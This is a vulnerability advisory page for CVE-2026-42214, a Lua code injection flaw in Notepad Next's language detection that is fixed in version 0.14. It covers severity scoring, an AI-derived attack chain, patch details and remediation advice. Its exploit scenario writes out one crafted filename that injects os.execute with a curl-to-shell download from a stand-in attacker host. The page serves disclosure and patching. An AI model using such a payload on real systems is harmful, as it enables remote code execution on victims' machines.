Skip to main content

Notepad Next CVE-2026-42214

| EUVDEUVD-2026-28410 HIGH
Code Injection (CWE-94)
2026-05-07 GitHub_M
7.8
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft malicious filename with Lua injection
  2. Delivery
    Deliver file to victim (email/download/shared folder)
  3. Exploit
    Victim opens file in Notepad Next
  4. Execution
    detectLanguageFromExtension() executes injected Lua code
  5. Persist
    os.execute() runs arbitrary system commands
  6. Impact
    Full system compromise with user privileges

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Victim must open a file with a maliciously crafted filename extension in Notepad Next version prior to 0.14. The application automatically triggers language detection when a file is opened, executing the vulnerable detectLanguageFromExtension() function without requiring non-default configuration or specific features to be enabled. Exploitation is limited by the local attack vector (AV:L)-the attacker must deliver the malicious file to the victim's system via social engineering, email attachment, shared drive, or compromised download. User interaction (UI:R) is required as the victim must explicitly open the file. No authentication (PR:N) or elevated privileges are needed. Default installations of all Notepad Next versions <0.14 across all platforms (Windows/Linux/macOS) are vulnerable.

Impact

CVSS 7.8 (High) reflects local attack vector with no privileges required but user interaction required (AV:L/AC:L/PR:N/UI:R), resulting in complete system compromise (C:H/I:H/A:H). Real-world risk is moderate: exploitation requires social engineering to convince a victim to open a maliciously named file, limiting automated mass exploitation. The attack complexity is low once the victim opens the file-no additional authentication or configuration is needed. EPSS score not available in provided data. No CISA KEV listing indicates this is not being exploited in widespread campaigns, though the GitHub Security Advisory (GHSA-m5fq-c9x5-w54g) confirms the technical validity. The vulnerability affects only Notepad Next installations prior to 0.14; users who have upgraded are not at risk. Targeted attacks against specific individuals who regularly receive files from untrusted sources (journalists, researchers, support personnel) represent the primary threat scenario. The availability of a vendor patch since version 0.14 significantly reduces risk for organizations with update processes.

Exploit ScenarioDerived

An attacker crafts a file named 'document.txt";os.execute("curl http://attacker.com/shell.sh|sh");--' and sends it to a victim via email or file sharing. When the victim opens the file in Notepad Next (pre-0.14), the application's language detection extracts the extension portion and interpolates it into Lua code. The injected os.execute() command downloads and executes a remote shell script with the privileges of the Notepad Next process, granting the attacker full control of the victim's system. Publicly available exploit code exists per GitHub security advisory GHSA-m5fq-c9x5-w54g demonstrating the injection technique.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 07, 2026

Command injection in Notepad Next versions prior to 0.14 allows arbitrary code execution when opening a specially crafted file. The detectLanguageFromExtension() function directly interpolates file extensions into a Lua script without sanitization, and because the full Lua standard libraries (os, io, package) are unconditionally loaded, an attacker can execute system commands by embedding Lua code in a malicious filename. Vendor-released patch available in version 0.14 (commit f3ca1b10). EPSS data not available; no CISA KEV listing indicates no confirmed widespread exploitation at time of analysis.

RemediationAI

Upgrade to Notepad Next version 0.14 or later, released at https://github.com/dail8859/NotepadNext/releases/tag/v0.14, which implements parameterized Lua variable assignment via lua_setglobal() instead of string interpolation. The fix is confirmed in commit f3ca1b10aca52f05fd7f4f5ebf9b566d6cd95ccc. If immediate upgrade is not feasible, implement file name validation to reject files with suspicious extensions containing Lua syntax characters (parentheses, semicolons, quotes, lua keywords like 'os.execute'). Organizations can also restrict Notepad Next file associations to prevent automatic opening of unexpected file types, though this reduces functionality. Train users not to open files with unusual or obfuscated extensions from untrusted sources. No official workaround disables the vulnerable code path without breaking language detection functionality, making upgrade the only complete remediation.

Affected VersionsENISA

NotepadNext < 0.14

Affected Packages

euvd notepadnext fix: 0.14

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Notepad Next is a cross-platform reimplementation of Notepad++ written in C++ with embedded Lua scripting for language detection and configuration. The vulnerability stems from unsafe string interpolation (CWE-94: Improper Control of Generation of Code) in the detectLanguageFromExtension() function, which previously constructed Lua code using QString::arg() to inject the file extension directly into a script template. The application calls luaL_openlibs() to load all standard Lua libraries, including os.execute() and io.popen(), which provide full operating system access. The patch (commit f3ca1b10aca52f05fd7f4f5ebf9b566d6cd95ccc) refactors the code to use lua_setglobal() via new setVariable() methods, preventing code injection by passing the extension as data rather than executable code. The commit also restricts execute() calls to compile-time string literals using C++ template size parameters, preventing runtime string construction from being executed.

Know when Notepadnext gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 7.8 HIGH
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Primary rating from Vendor (GitHub_M) · only source for this CVE.

CVSS VectorVendor: GitHub_M

Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch available
May 07, 2026 - 20:02 EUVD
CVE Published
May 07, 2026 - 18:14 nvd
HIGH 7.8

DescriptionCVE.org

Notepad Next is a cross-platform, reimplementation of Notepad++. Prior to version 0.14, NotepadNext's detectLanguageFromExtension() function interpolates a file's extension directly into a Lua script without sanitization. An attacker can craft a filename whose extension contains Lua code, which executes automatically when the victim opens the file in NotepadNext. Because luaL_openlibs() is called unconditionally, the full os, io, and package libraries are available to the injected code, enabling arbitrary command execution. This issue has been patched in version 0.14.

Executive ViewAI

Why It Matters

Notepad Next versions before 0.14 contain a command injection vulnerability that allows arbitrary code execution when users open files with malicious names. An attacker can craft a filename containing Lua code that executes system commands with the privileges of the user running the application, creating a direct path to compromise workstations and sensitive data access.

Business Impact: High
Compensating Controls

Vendor-released patch: version 0.14. Until patched, restrict user permissions to prevent opening untrusted files, disable Notepad Next in high-risk environments, and implement application whitelisting to control file execution. Monitor file system and process activity for Lua interpreter invocations from Notepad Next processes.

Threat Intelligence Overview

EPSS Score
0.0%
Top 94% exploitable
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

39
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +39
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy